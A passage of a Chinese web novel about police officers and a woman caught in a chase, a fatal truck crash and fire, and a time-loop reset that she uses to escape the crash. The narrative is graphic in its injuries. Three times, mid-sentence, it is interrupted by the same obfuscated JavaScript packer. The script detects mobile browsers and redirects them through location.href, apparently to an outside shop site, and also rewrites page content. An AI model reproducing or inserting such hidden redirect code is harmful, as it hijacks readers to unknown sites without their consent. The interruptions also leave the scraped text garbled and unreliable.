李新咏驾驶着suv一路飞驰,镇定自若,面对直线般的道路还抽空加入了这场对话:“队长,你相信卡片上提到的‘玩家’和‘悬赏’,还有张统所说的‘道具’?” 听到这话,肖羽表情正经了几分,插话:“大家都是亲眼所见,光凭十点钟张统从看押室里凭空消失,并瞒过我们的耳目出现在九点时的医院里,这一点就绝非科学能解释的。” “还有我们都感受到的那场爆炸,当时墙壁地面都在震动,警报却没响。除了我们几个人,其他值班人员没有做出任何行动,这本就不合常理。” 李新咏刚想说什么,张了张嘴还没发出声音,就从后视镜里看到对方再次加速撞过来。他瞬间挥散脑子里的所有想法,全神贯注地开着车躲避。 suv的车速不断提升,后方的出租车跟得很紧,有好几次趁着他们想要减速转弯的时候撞上来。李新咏无法轻易减速,直接在街上给大家表演了什么叫做惊险刺激的飘移。 挺有技术性的,就是让纪然一个不晕车的人开始晕车了。 她的眉头微微锁起,嘴唇紧闭,脸部肌肉紧绷。胃部的翻江倒海让她感到一阵难以忍受的不适,仿佛有一股汹涌澎湃的潮水在里面肆虐。在大脑轰鸣般的晕眩中,一股灼热的异物感顺着食道涌上喉咙。 “咕咚。”为了不在这种紧张的时候吐在车上,纪然努力吞咽回去,嘴里又苦又涩,难受极了。 原来晕车的人都这么痛苦啊,她想。 在车身的颠簸与一次次飞驰转弯中,纪然一手搂着笔记本,一手握住车门扶手,眼睛都不敢往窗外看。但闭上眼时只感觉自己更晕了,眼睛瞬间没了焦距,也不知道自己在看什么。 叶柯一偏头就能看出纪然的不对劲,她摸了摸口袋,只摸到一颗橘子味的酸味糖果。叶柯把糖纸撕开,包裹着里面糖果喂到纪然嘴边。 感受到有什么东西靠近,纪然看向叶柯,和她手里橙色的散发着橘子气味的东西,眼睛里闪过疑惑。 在关上车窗后也能听清的极速穿行而过的风声中,叶柯大声说:“吃这个会让你好受点。”她把糖果往纪然唇边又靠近一些。 “入”字型的三岔路口,一辆重型卡车从右下角的道路上直行,准备直行前面的岔路口。李新咏开着车子一边躲避着后方出租车的撞击,一边从左下角的道路上开过来。 这条空旷的道路上,卡车里的司机突然感觉自己很疲惫困倦,像连续熬了两个通宵开车似的,精神出现了恍惚。 此时已经深夜十一点多,以他多年跑这条路线的经验来说,这条偏僻的马路在这个点并不会碰到人或车辆,起码几个月碰不到一次人。 他上下眼皮子开始打架,在熟悉的路上闭着眼睛也能开,前面就是三岔路口,直接直行就好。这条路平稳又不需要转弯,更不会碰到什么人。 他眼睛半眯着,掏出烟盒,准备点上一支烟来吸一口提提神。 而李新咏此时看了一眼后视镜,在看到对方又一次撞上来时,他油门踩到底,紧盯着对方冲过来的方向,方向盘一转。 下一秒,suv车在视角盲区里直直撞上了从旁边道路拐角斜冲过来的重型卡车。 宋承坐在副驾驶座位,在后方车辆撞上来时条件反射性地看向后视镜。坐中排的纪然晕车不舒服,叶柯从口袋里摸出一颗糖正喂过去。后排的乔云深意识到自己并没有在做梦,在脑子里继续整理季铭的解剖数据,分析死因。 肖羽倒是看到了右边冲出来的车辆。他瞳孔骤缩,直面着越来越近的庞然大物重卡。一时间心胆俱裂,撕心裂肺地喊道:“刹车——” 可是一切都来不及了。 他只来得及在即将撞上的那一刻,扑过去护住在左座椅上比他小六岁的乔云深的头部。 在听到肖羽声音的瞬间,所有人都看到了突然冲出来的重卡。本就靠近纪然的叶柯在一瞬间脑子里什么都没想,猛地扑过去把纪然搂在怀里,球型糖果从糖纸里掉落到不知名的缝隙里。 李新咏再也维持不了冷静,操控着车子做最后的挣扎。而宋承在看到重卡的那一眼里,以这个方向和位置,他能判断出自己不死也得重伤的结果。宋承只来得及说出两个字:“保护……” “砰!” suv的右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179106|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧车头猛地撞上重型卡车的车门后面位置。 尾部冒着红光的香烟飞了出去。 “哗啦!” 车窗玻璃碎裂,四处飞溅。 很不巧,单一方向的前部碰撞并没有让车内的侧气囊弹出,副驾驶的宋承首当其冲,巨大的冲击直接在一瞬间撞断了他数根肋骨,和他护住头部的桡骨及尺骨。 “保护他们……”宋承努力把话说完,咳嗽间嘴里不断涌出鲜血,吐出血淋淋的内脏碎片。他能感受到自己断裂的肋骨扎穿了肺部,连呼吸都带着难以忍受的极致疼痛。 碎玻璃划破了他线条流畅的脸,鲜血顺着数道口子流下。宋承费劲地转头看向李新咏,李新咏瞬间红了眼角:“队长!” 其实事情还是可以有回旋的余地,这一下撞击,除了副驾驶的宋承受到重伤外,其他人只是轻伤。只要他们及时叫来救护车,宋承就还有救。 李新咏目眦欲裂,忍着碎玻璃扎身上的痛,驾驶着车子倒退。他可没忘记,后面还有一辆在追击他们的出租车。 肖羽护着乔云深,伸出一只手试图摸向自己的手机。被陌生车辆追击又发生车祸,以刚才他们车子的速度,没有弹出安全气囊,坐在前排的队长和李哥估计伤得不轻。 而坐在后排的自己倒没受什么伤,趁着还处于事情发生后的黄金救援时间内,他需要赶紧找救援。 乔云深被他护在怀里,苍白着脸呆愣愣的,感觉自己又好像是在做梦一样。 纪然在相撞时条件反射性的抱住脑袋,而叶柯把她搂在怀里,受冲击后显得晕眩的大脑反应有些慢,叶柯强打起精神,张了张口准备说点安抚情绪的话。 然而,就在此时,后方紧追不舍的出租车并未减速,反而对着suv的车尾把油门踩到底。紧接着,在相撞的前一秒,车里的男人使用了某种道具,只留下一辆空车一路直行。 “砰!砰!” 震耳欲聋的车辆相撞声有那么一瞬间让所有人都产生了耳鸣。 出租车犹如一头失控的野兽,猛地撞到前面SUV的车尾。在强大的冲击力下,两辆车就像多米诺骨牌般连续撞击,对卡车造成连环撞击,卡车的油箱瞬间破裂。 在撞与被撞的前后间隔不到四秒的时间差里,所有人都没来得及反应过来。 深夜十一点二十分,天幕之上北极星明亮,即便加上路灯发出的光芒,也根本驱散不了这深沉的夜色,只让这条空旷街道在微凉的气息中更显孤寂。 临夏的夜风吹起,那股混合着血腥与汽油的异味逐渐弥漫开,飘向远方。 suv的右侧车头位置在剧烈撞击下瞬间瘪陷,副驾驶座位的队长宋承,那双曾经犀利如鹰的黑色眼睛,此时正倒映出重卡破裂的油箱的影子。而他的身体在微微抽搐中很快停止了所有的动作,随后眼睛失了神。 驾驶座上的李新咏,他的双腿在第二次车辆撞击后被严重变形的车身紧紧卡住,令他无法动弹。 位于车内中间排右侧的叶柯,在那种时候下意识地朝纪然扑去,用自己的身体为纪然挡住了所有伤害。这让她幸运地避开了致命的撞击,但她的背部和手臂却被飞溅的碎玻璃无情地刺穿,鲜血立刻浸透了她的衣物。 而在后排座位的肖羽,在第一次车辆碰撞发生的瞬间,就本能地扑过去保护这个队伍里年龄最小、身体素质最弱的弟弟。这个条件反射性的动作,让他和乔云深两人在第一次车辆相撞时几乎没受到什么伤害。 但在第二次车祸时,来自车后方的剧烈撞击直接震晕了被他护住的乔云深。连他自己都有些脑震荡,刺耳嗡鸣的声音在脑子里回荡,眼睛看什么都模糊不清,甚至出现了重影。 22. 悲恸,全员de 纪然被这两下车身撞击给撞懵了,瞪着眼睛半天没眨一下。她当时刚准备吃掉叶柯喂过来的圆球,下一秒就被叶柯扑过来抱进怀里,手臂在她后脑勺处做保护性的动作。 她心跳如雷,呼吸都不敢大声,有些难以置信刚刚发生的一切。 橘子的清香味似乎还在鼻尖萦绕,混沌的大脑在一瞬间接受到太多的震撼。 听到叶柯的抽气声后,纪然眨了眨干涩的眼睛,回过神来。 扶起倒在她身上的叶柯,发现叶柯身上全是血,头发上后背上落了很多碎玻璃。 纪然这才惊觉,整个车子里充斥着浓郁的血腥味。 “你……还好吗?”她咬了咬唇,这么多血,看着就很痛。一只手扶着叶柯,另一只手解开两人座椅上的安全带。 “我没事,被玻璃划了一下而已,”叶柯忍着后背与后脑勺上的痛意,轻声道,“你没受伤吧?” 纪然摇头。 知道纪然没事,叶柯松了口气。她感觉自己脖子也被划伤了,有血顺着颈项染红了衣领。叶柯没作犹豫,在座椅上转身冲着后排喊:“肖羽?云深?你们怎么样了?” 车子里回荡着叶柯的喊声,没有其他人的声音,显得安静极了。 纪然不知所措,一时间竟然感觉有点冷。她尝试打开车门,被碰撞到变形的车门如同囚笼一般,根本打不开。 她放弃开门,撑着座椅半站起身,声音带着自己都没察觉的颤抖:“还有人活着吗?” 后排的肖羽头晕目眩的,身体也使不上劲,软绵绵地倒在座椅上,巨大的耳鸣声让他分不清这是现实还是梦境。 叶柯叫了很多声,他才终于听到了一点声音,辨认出来那是叶柯在喊他。肖羽努力睁开眼睛,用力说出自己都听不到声音的话:“我在。小柯,我在,我还活着。” 他以为自己说话很大声,实际上在叶柯和纪然的耳里听起来却是声若蚊蝇。肖羽揉了揉太阳穴,努力让自己清醒点,先告知队友的情况:“云深晕过去了。” 掐着乔云深的人中都没能唤醒他。 纪然收回视线,他们中排和后排的人都没事,那当时直面冲击卡车的前排两人呢? 想到这,她身体有些打颤,四肢冰凉。拍了拍驾驶座椅,声音沙哑:“你们还活着吗?宋队长?李新咏?” 驾驶座椅被拍的微微震晃,李新咏在恍惚中逐渐清醒,浑身上下像被车子碾压了一遍,痛到麻木。尤其是双腿,他都感觉不到有腿的存在。 “呃……嗬……”李新咏开口想说话,发现自己喉咙上传来一股剧痛感,还有呼吸不上来的窒息感。 他费劲提起被蹭掉一层皮的手臂,沾满鲜血的手指摸上自己喉间,一块细长碎玻璃正扎在他气管上。 纪然听到驾驶位的动静,从座椅中间凑过去:“你还好……” 她失了声。 李新咏那张原本俊美清冷的脸上,此时被碎裂的玻璃划得血肉模糊,几乎无法辨认出他曾经的面貌。眼睛似乎也被伤到了,睫毛颤抖间有血液从眼眶中落下。他的喉咙上还穿进一块细长的碎玻璃。 听见纪然的声音离他很近,李新咏在充满痛苦的吸气时,除了血腥味外,全是浓郁的汽油味,他知道这意味着什么,哪怕可能只有百分之一的概率。 李新咏一只手捂住喉咙,颤抖着举起能看到血管的手臂,指向前方。在细碎的嘶哑气音中努力说着话:“……嗬……车……油……跑……” 也关注着前排动静的叶柯闻了闻车里的气味,外面的味道顺着破开的车窗飘进来,她神色巨变:“不好,是汽油味,有油箱被撞破了!” 叶柯连忙拍了拍副驾驶座椅,语气有些慌:“队长,队长,你怎么样了?” 六个人里,除了昏迷的乔云深,现在就剩下宋承没有出过声。以当时撞车的方向来算,宋承是首当其冲的那个,更别提后面还有第二次撞击。 叶柯不敢深想,心里没有底。 纪然偏过头,看向右侧位置上的宋承,直接就愣住了,眼眶迅速发红,声音哽咽:“宋队长他……” 被撞瘪的车头狠狠压向宋承,直接碾碎了他浑身的骨头,血水四溅,不成人形。只有头颅还算完好无损,但脸上也被碎玻璃划伤,鲜血淋漓。 他的眼睛还睁着,跟往常一般,漆黑的眼眸看起来深邃又沉稳。但此时那锐利的眼睛失去了光泽,无神地直勾勾地盯着前面重卡。 纪然顺着他眼睛看的方向看过去,是重卡驾驶位那侧的左后方,那是油箱所在的位置。 在看到纪然悲痛的神色时,叶柯就心里一沉。但她没时间去确认,更没时间伤感,趁着她现在还能动,她立马翻到原本纪然坐着的左侧座椅上,摸出破窗器开始锤击车窗玻璃。 普通的防弹玻璃也只是双层钢化夹胶玻璃,被两次车辆相撞后,只有中排左侧的车窗变形不是很严重,玻璃虽扭曲变形但还没碎,还有出去的希望。 时间紧迫,她动作不停,冲着后排的肖羽喊:“肖羽,能动就快起来帮忙!” 肖羽晕乎乎地爬起来,脑子里的嗡鸣声并没有缓解多少,但他还是能听到那么几个字。 伸手摸了摸周围,手机不知道被甩哪去了,车子里弥漫着浓郁的汽油味,肖羽知道这会导致什么样的后果。即便要打救援电话,也得先远离车子才行。 他扶着座椅直起身子,和叶柯一起使劲掰开扭曲变形的左侧车窗。 李新咏听到纪然哽咽的话时,心头浮起不好的预感。他伸手摸向右边,在摸到被撞瘪的车头与副驾驶座椅间的距离没超过巴掌宽时,瞬间流出血泪。他喑哑着残破的嗓子骂道:“……混……蛋……” 一起从当年的新兵营打拼进陆战特种部队,一起组队执行了无数个艰难任务,再到一起因伤退役进同一个警局同一个部门。当了近十年的队友,怎么突然人就没了。 李新咏情绪激动,被刺穿的气管让他开始出现了呼吸衰竭现象。 他意识到了什么,努力伸出手,血流如注。他吃力地比划手势,“……快跑……油……” 纪然潸然泪下,心中的情绪如鲠在喉。 “砰——哗啦——” 听到玻璃碎裂的声音响起,回头与叶柯对视上了,她已经砸开了左侧车窗,看过来时脸上也是布满了泪水。 优先保护民众的思想深根固蒂在他们所有人的脑子里。 飞快地抹了把脸后,叶柯吸了吸鼻子,强打起精神,声音还带着哽咽:“别看了,赶紧离开这。” 叶柯伸手直接拉住纪然,往被破开的车窗那推,肖羽用力拽住扭曲的铁片,给她拉扯出更大的出口大小。 就这样,纪然被两个人合计送到车外。脚一落地,她就去扒拉车门车窗。但以她的力气,冰冷坚硬的铁片像座大山一样,不动分毫。 她没有转身跑掉,而是又来到副驾驶这边的车窗,试了试拉开车门,还是不行。她红着眼,透过扭曲的车窗间隙里看到里面的李新咏,血肉模糊的脸上带着痛苦的表情。 纪然出去后,后排的肖羽牙关紧咬,手臂上青筋鼓起,用力撑起“逃生出口”:“快走!” 叶柯双眼含泪,忍着后脑勺的剧痛往那钻去。纪然连忙回到中排这边协助叶柯爬出来。 见到叶柯出去了,那股劲一缓,肖羽就有些撑不住了,被拉扯开的变形铁片又回到原处。他快速喘了几口气,紧接着又抱起晕倒在座椅上的乔云深,挤到中排位置。 肖羽这时候看东西眼里都有重影,这种浑身都使不上劲的感觉真的太难受了,平常他单手就能提溜起来的人,现在感觉比车还沉。 看到两人憋红了脸拽住车窗,肖羽又甩了甩脑袋,努力保持清醒。在这充斥着汽油味的车里,随时都有可能会发生爆炸,他只希望两个女孩子赶紧离开这里。 “你们先走!”肖羽一边把乔云深往外送,一边冲车外两人喊着。 明白现在不是煽情的时候,他们身为人民警察的职责就是保护民众。叶柯没有拖拉,而是很慎重地看了肖羽一眼,言简意赅:“活着出来!” 肖羽此时也看不清叶柯的嘴型, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179107|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就听到“活着”这两个字。虽然浑身都很难受,但他还是笑了笑,一如既往地恣意张扬,眼神却充满温柔:“好。” 在他们对话的这一秒里,纪然看向驾驶位上的李新咏,他此时已经没了动静,忽略那血肉模糊的脸,安安静静地靠在座椅上像睡着了似的。 叶柯拉着纪然就跑,扎进肉里的碎玻璃在跑动下扎得更深了,头也越来越沉,仿佛有千斤巨石压在头顶,让她几乎无法支撑下去。 还在车里奋力救人的肖羽,感觉世界都在旋转,头晕目眩,耳鸣声刺耳到想撞墙。 他的额角青筋明显,费劲把乔云深送出了车窗外,然后拉扯着驾驶座椅,发现李新咏的双腿被卡住了:“李哥!坚持住,我救你出来!” 在拉扯和呼喊下,李新咏没有回应,更没有动,像晕过去了。 肖羽努力睁着一双看什么都有重影的眼睛,满眼看到的都是红色的鲜血。他声音愈发沙哑:“李哥?” 手指探向李新咏的人中处,没有呼吸。 他收回颤抖的手指,狠狠一闭眼,睁开后看向右侧的队长,即便看不清,也能看到那被压瘪的身躯。他不死心地又伸出手指探鼻息,依旧什么都没有。 再次闭眼间,肖羽喉间溢出细碎的忍耐不住的呜咽声。他没有多犹豫,立马转身往车窗外爬。乔云深还活着,他不能再失去一个队友了,他得带这个少年活着出去。 拉着纪然离开的叶柯,跑着跑着,浑身力量仿佛被瞬间抽干,双腿再也支撑不住身体的重量。她猛地向前扑倒,重重地摔在了冰冷的马路上。 她的意识开始模糊,眼前的一切都变得摇摇晃晃,仿佛随时都会消失在黑暗之中。迷糊之中她想着,如果可以的话,她想带纪然跑远点,想救队友出来,还有救出那个卡车司机,这都是一条条鲜活的人命啊。 纪然被吓了一跳,连忙扶起她。这才发现叶柯的后脑勺破了道口子,有什么坚硬的细小锐器击破了她的头骨。刚跑了几米的身后地面上,一路的血脚印。 叶柯费劲地勾起嘴角,想对她笑一下,又很着急时间的紧迫,加上那股仿佛直达脑髓的痛意,表情一时有些扭曲:“跑!快跑!” 泪水再次糊满了纪然的双眼,她想拉起叶柯,但以她的身体素质在这种泣不成声的时候,根本拽不动叶柯。 再又一次想要拽动叶柯时,发现她已经没了呼吸。纪然悲痛不已,如同一把尖刀,深深刺进她的心脏,每一次跳动都带着剧烈的疼痛。 他们都拼了命地让她先离开这里,她怎么能辜负这些心意。加上求生的本能,纪然抽泣着,流着泪继续跑。 夜色如墨,这条街上连路灯都显得昏暗无比。 肖羽爬出车窗,翻滚到地上,眼皮像有千斤重,四肢都跟灌了铅似的。 但他还是咬着牙,撑着一口气,爬起来背上乔云深,忽略眼里的多重重影,踉踉跄跄地往外跑。 似有所感,纪然在奔跑中回头,眼里倒映出火光,火焰在她骤然缩小的瞳孔中快速逼近。 “砰!” 在震耳欲聋的剧烈爆炸声响突破脑子里嗡鸣的封锁线时,肖羽肾上腺素狂飙,想也没想地冲上前,扑向此时三人中唯一一个普通民众,把她护在身下。 他感觉自己的动作从来没有这么快速敏捷过,几乎超越了人体极限,在轰然而起的爆炸里,他飞快地冲过来把纪然和乔云深都护在自己身下。 一瞬间,火光冲天,炽热的火焰照亮了周围的一切。三辆车子的车身被强大的冲击波撕扯得支离破碎,碎片如同锋利的刀刃四散飞溅。 一颗小小的橘子味的圆球糖果,在火焰燃起的那一刻,化成液体后消融在空气中。 又要死了吗? 纪然睁着眼睛,躺在地上,看着挡在她身前的肖羽,又转过头看向昏迷着的乔云深,和不远处倒在地上的叶柯。 真的很不甘心啊。 最后,纪然黑色的眼眸中安静地倒映出被火光撕裂了的夜空,和被爆炸冲击抛向空中的suv。 缓缓闭上了眼。 23. 反复去世 “十米内对方没减速,新咏就开车。” 纪然打了个冷颤,伸手捂住左胸口,感受到里面的怦然跳动,就听到右前方宋队长的声音。 “不,不能走那条路!”纪然也不知道自己哪来的直觉,非常抗拒去往那边,想也没想地就喊了出来。 一瞬间,车里其他几个人的目光都投了过来。宋承和李新咏从内置后视镜里看向她,肖羽和乔云深看向她所在的座椅背,叶柯直接偏头打量着她的表情。 “理由?”宋承没答应也没拒绝。 强烈的心悸感仿佛动物对灾难的本能预警一样,她无法忽略这种感觉,加上手指下传来的热度。纪然顾不上隐瞒什么,轻轻拍了下前排驾驶座椅:“麻烦开个灯。” 李新咏不明所以,但还是打开了车内灯。 纪然没扭捏,翻开笔记本。 一页、二页……五页、六页…… 她捏着纸张的手指颤抖起来,为什么会多了一页? 在纪然的记忆里,笔记本里只写了今天在那个房间里被张统杀了三次,读档后的剧情在第四页,也就是当前的时间线。 刚刚强烈的心悸感,让她怀疑自己可能又自动读档了,那么这个时候的时间线剧情应该是第五页,怎么会多出一页? 纪然寒毛直竖,快速过了一遍前三页,跟记忆里一样。 目光来到翻开的第四页,前面的剧情部分她都记得,后面从出警局那部分开始看起。 「我跟着他们坐车出了警局,前往医院去找张统的“尸体”。」 「路上碰到又一个疯子,开车来撞我们。李新咏想要甩掉他,但一直甩不掉。为了避免在市区内造成大型车祸,我们选择了一条去往郊外的路,并联系警局调派人手。」 「后面的车像不要命一样追过来,李新咏的车技很好,躲过了对方一次又一次撞击。但是,谁也没想到……」 「是意外吗?」 「三岔路口,一辆重型卡车突然冲了过来,在这辆车面前,我们的车毫无反抗之力。」 「我像傻了一样忘了反应,即便叶柯扑过来护住了我,但大脑还是嗡嗡的,剧烈的挤压环境让我头晕目眩,耳朵听不清声音,直到手摸上去才发现头上不知不觉流血了。」 「是一次撞击,还是两次?记不清了,等我意识恢复的时候,我们已经被重型卡车和后面的出租车夹在中间。」 「宋队长满身是血,已经没有了意识,他那边的车头和车门被严重挤压,李新咏意识不清,人还能发出几声呻吟。」 「后排的人似乎还在活动?我记不太清,只看到宋柯对着我在喊什么,人影一圈一圈晃着。接着,我感觉有人似乎打碎了什么,我被推了出来。」 「但是……但是……我们都没有活下来。」 「巨大的轰鸣声……红色,到处是红色的一片,火红的……是发生了什么?」 第四页的内容很长,甚至后面几段语序错乱。 但显然,在上一次的时间线里,到最后,她都没能从车祸造成的脑震荡中清醒过来,在意识模糊中死去。 他们救了她,可是最后谁也没能逃出去…… 所以如果按照原定想要避开追击后的路线,去前面那条路,就会与卡车相撞吗? 这大晚上的,为什么会突然冲出来一辆卡车?夜晚开车的司机不应该都知道减速慢行吗?特别是在岔路口的时候。 纪然想不明白,但是此时也来不及去分析这些,她迅速翻到笔记本的第五页。 「现在是5月10日星期二,晚上十一点整。」 「我并没有意识到自己又回到了原来的时间点,即便强烈的心悸感不断提醒着我不对劲,但我都因为紧张和晕车而没有翻开笔记本。」 「若是早知道,或许我能救下他们,和我自己。」 「后面那辆出租车里的人就是个疯子,根本就不在乎他自己的安全,只想着怎么撞死我们。」 「与上一次的经历一样,在十一点十九分的时候,对方开车撞过来,李新咏在躲避时没有减速,与三岔路口右边道路上开过来的重型卡车相撞了。」 「我们这辆车在重型卡车这种庞然大物面前,简直就像个玩具车一样渺小脆弱。」 「叶柯像之前那样过来扑过来护住我,这次我自己也护住了头,没有受到多大伤害。只有前面的两人受了点伤,其他人没事。」 「除了上一次的我,谁也没有想到出租车在这种时候又撞过来。还没到十一点二十分,仅仅距离第一次撞击才过了几秒,连同我们这辆suv再次撞向重型卡车,它的油箱破了。」 「李新咏双腿被卡住,脸被玻璃碎片划得血肉模糊,喉咙还被刺穿。他用气音提醒我们赶快跑。最后,他死于呼吸衰竭。」 「宋承在第一次车辆撞击时被撞断肋骨和手臂,在第二次撞击时直接被压瘪的车头碾碎了脖子以下的骨头,死的时候眼睛还看着重型卡车破裂的油箱。」 「乔云深在发生两次车辆撞击时,都被肖羽护着,身体没受伤,但陷入了昏迷。」 「肖羽被震出脑震荡,帮我和叶柯从车窗逃出后,将乔云深送出车窗,去救前排两人时发现他们已经没了呼吸。他爬出车窗,背起乔云深往外跑,可还是没能跑出爆炸范围。」 「叶柯拉着我逃离了车子,一步一个血脚印,倒在车外不到十米的地方,才发现她后脑勺被击破了口子,再也没能起来。」 「我在跑出车子接近二十米的地方,回头时看到火焰顺着地上的汽油向我涌来。肖羽突破人类极限速度地扑过来挡在我身前,把我和乔云深护在身下。」 「我的眼里全是炽热的满天火焰,又要死了,我真的很不甘心。」 「5月10日晚上十一点二十五分,我们六人和一个卡车司机,无一人存活。」 这一页的文字很多,篇幅也很长,笔记本的特殊性让这些文字全都存在于纸张的一面上,却丝毫不影响阅读。 纪然快速看完了内容,眼中泛起雾气。虽然她现在不记得上一次死亡前发生的事,但是看到这些文字,她依然红了眼眶。 纪然看向车载平板上的时间,23:12分。 要来不及了,快要到那个死亡时间点了。这次读档的时间大约比上一次读档的时间晚了十分钟——是剧情又推进了一点点。 她咬着唇,在大脑内飞快思索着该怎么跟大家说。如果这次还没能改变必死结局,等剧情再次推进,可能她刚读档完就会经历车辆相撞,根本来不及躲开。 往坏的方向想,也许会一直困在这场车祸爆炸的死亡里不停循环。 不,她一定要想办法改变这个结局。 “时间要来不及了!”纪然快速翻了一下第六页的内容,确定是她现在这个时间点的剧情线。 她合上笔记本,面带焦灼,声音颤抖:“必须换一条路走,不然我们会在19分的时候与一辆重卡撞上,几秒后被后面的车再次撞击!” 车内其余五人神色一凛,眼神互飞,像在用眼神交流似的。 “请相信我,我没必要开这种玩笑。”时间真的很紧迫,纪然也没那么多时间解释什么,只能用恳求的眼神看着内置后视镜里宋承的眼睛。 在刚才纪然看笔记本的时候,后面的出租车已经快速逼近他们,李新咏没等红灯跳完就迅速发动车子躲避。在听到纪然的第一遍不能走那条路时,他们就已经拐弯换了路线。 毕竟目的都是为了躲开后面的车,去往郊区的路又不止一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179108|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条,没必要死磕那条路。 不过听到纪然后面的话,第一小队的五人也没当这是个玩笑。纪然她本人也在这辆车上,难道还开个玩笑让大家包括她自己一起承受危险或者送命吗? “先别急,李哥已经换了一条路走。”叶柯最先安抚纪然的情绪。 纪然不认识路,从车窗向外看也看不出什么问题,但听到叶柯这么说,她略微松了口气。 换条路走的话,只要避开后面出租车的追击,应该不会再发生车祸了吧? “虽然换了路线,但是我不确定那个事故发生的时间节点会不会消失……”纪然也没完全放松,但起码没有之前那么心急了。 见到纪然皱起的眉毛缓了几分,宋承眼睛微眯,漆黑的眸子几乎能看进人心底深处:“你是怎么知道未来才会发生的事?” 肖羽敲了敲自己的膝盖,盯着纪然坐着的座椅后背:“你也是所谓的‘玩家’,拥有特殊道具和技能?” “还是说你有什么特殊能力,能看到未来,或者你就是从未来经历过一遍后回到现在时间点的?” “……” 没想到肖羽这么敏锐,几乎就凭“未来”这个关键词把所有可能都说出来了,倒还真被他给说中了。 “……这个之后再说吧,现在时间还是很着急,仅仅换条路可能无法避开死亡结局,得先解决后面那辆车。” 她也不知道该怎么解释,不过现在最重要的并不是搞清楚她的秘密,而是怎么改变结局。 宋承从后视镜里看了一眼出租车,又看了一眼当前时间,23::13分。他沉声道:“还请麻烦你把‘预测’到的未来简单讲一讲,我们好做出对策。” 纪然点头,把笔记本第五页上的内容简单描述了下,提到了大家各自的死亡方式。 听到自己被卡着腿,除了一句提醒外,什么都没做就死于呼吸衰竭时,李新咏握着方向盘没说话,手背却青筋鼓起。 而宋承更是在听到自己直接就死在车祸里时,忍不住揉了揉眉心。身为队长,居然没能保护队友和案件受害人就先死了,实在是失职。他有些恨自己的无能为力,他们那个时候肯定很难受吧。 肖羽却是弹了乔云深一个脑瓜崩,又难受又好笑:“你小子……”挺幸运的,没有感受到多大的疼痛就死了。六个人好歹有一个人死得没那么痛苦,多少也算有点心里安慰。 几秒后,他听到了叶柯的死亡方式,心里顿时难受极了,看向她的椅背。明明已经离开车子了,怎么就后脑勺受了伤呢,那她当时得有多痛苦啊。 乔云深捂着脑袋,脸皱在一起:“要是我还活着,肯定能给你们急救一下……哦,虽然我只是个你口中所谓的‘毒奶’。” 然后乔云深又被他弹了一下脑壳:“瞎说什么呢,那是‘还醒着’。你当然活着了,还会长命百岁。快说童言无忌,呸呸呸。” 身边的叶柯神色有些复杂,却没说什么。纪然看到后对着她轻轻说了一句:“谢谢。” 谢谢她在前面两次的时间线里保护自己。 没说几句,大家很快就调整好了自己的各种复杂情绪,现在更重要的并不是伤感之前的死亡,而是继续活下去。 第一小队的五人并没有怀疑纪然有骗他们的可能,毕竟张统的异常他们全都看在眼里。而纪然走哪都带着那本看似日记本一样的笔记本,说不定也是个什么“道具”,他们已经默认纪然也是所谓的“玩家”了。 更何况,还是那句话,纪然她自己也在车里,骗大家对她并没有什么好处。 不过说是这么说,但五人也没真的完全信任她。这只是个认识一天的人,谈不上信任。只不过现在也没时间去打探这些算计那些了,先避开“死亡结局”再说。 24. 努力避开死亡节点 从得知在23:19分时可能会按原来的“死亡结局”发生车辆相撞后,李新咏就绷紧了精神。只直视前方和车辆左右,由副驾驶位的队长来盯着后面的出租车,随时给他报位置来避开撞击。 “五点钟,四米,躲。”宋承简而言之,然后在车载平板上把地图调出来。 李新咏反应迅速,跟队长一如既往地配合默契。他猛转方向盘,所有人都抓住上方扶手防止自己被甩出去。 后面两排座位上的人正在讨论怎么甩掉那辆出租车。想要避开车祸,总得找清原因。 “我怀疑,那车里的人,也是玩家,”纪然努力固定身体,在摇晃中说得比较肯定,“可能又是来找她的。” 纪然想不懂为什么这些人总能找上自己,她跟季然长得也不一样啊。 “如果张统真的死了,他任务失败悬赏重新刷新,有第二个人接了悬赏来杀她也不奇怪。”说到这里,肖羽总感觉这话有种莫名的既视感。 “那这个人也是玩家的话,他的能力或者道具是什么?我们什么都不知道,该怎么避开呢?”乔云深被车转弯一甩,手臂撞到了车门,又默默收回手搓了搓,也加入了对话。 “难道他能凭空变出一辆重卡来撞我们?”叶柯拉着固定把手,眼里划过一丝困惑。 纪然想了想了,否认了:“不太可能,如果能凭空变出重卡,就不会非要等到19分时才变出来,早在一开始他就可以打我们一个措手不及。” 